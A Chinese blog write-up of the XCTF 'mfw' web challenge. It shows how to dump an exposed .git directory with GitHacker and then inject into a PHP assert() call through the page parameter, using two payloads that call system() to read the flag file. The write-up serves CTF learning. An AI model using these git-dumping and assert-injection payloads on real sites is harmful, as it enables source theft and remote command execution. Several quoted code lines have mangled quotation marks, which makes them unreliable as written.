攻防世界 WEB mfw

这题考的是两个点:Git泄露和assert函数执行代码
先说Git泄露,通过About发现该网站使用了Git,查看/.git目录发现确实存在泄露情况
那么下载GitHacker工具查看源码
pip3 install GitHacker
githacker --url http://111.200.241.244:60711/ --folder result1 //这里的folder表示的是输出文件夹
然后查看源码,在index.php里面发现assert函数

$file = “templates/. $page ..php”;
assert(strpos($file,..) === false) or die(“Detected hacking attempt!);
assert(file_exists($file)) or die(“That file doesn’t exist!);

下面其实做的事情和SQL注入差不多
构造page变量为abc’,’…’) or system(“cat templates/flag.php”); //
注意不要尝试闭合assert因为我们的执行权限是assert给的,闭合了assert,就无法调用system函数,也就是说要由assert去调用system
这里确实没有闭合",你可以打开浏览器的控制器的控制台看一下,服务器返回的是500,可是assert函数已经执行了所以结果还是返回给我们了
那么第一句assert就变为了

assert("strpos('templates/abc','..') or system("cat templates/flag.php"); //.php',..’) === false”) or die(“Detected hacking attempt!”);

第二个payload
‘.system(“cat templates/flag.php”).’
这个可能更好理解一点

assert(strpos(’templates/.system("cat templates/flag.php").'’,..) === false) or die(“Detected hacking attempt!);

参考视频链接:https://www.bilibili.com/video/BV1mo4y1U7xp/

你可能感兴趣的:(攻防世界,web安全)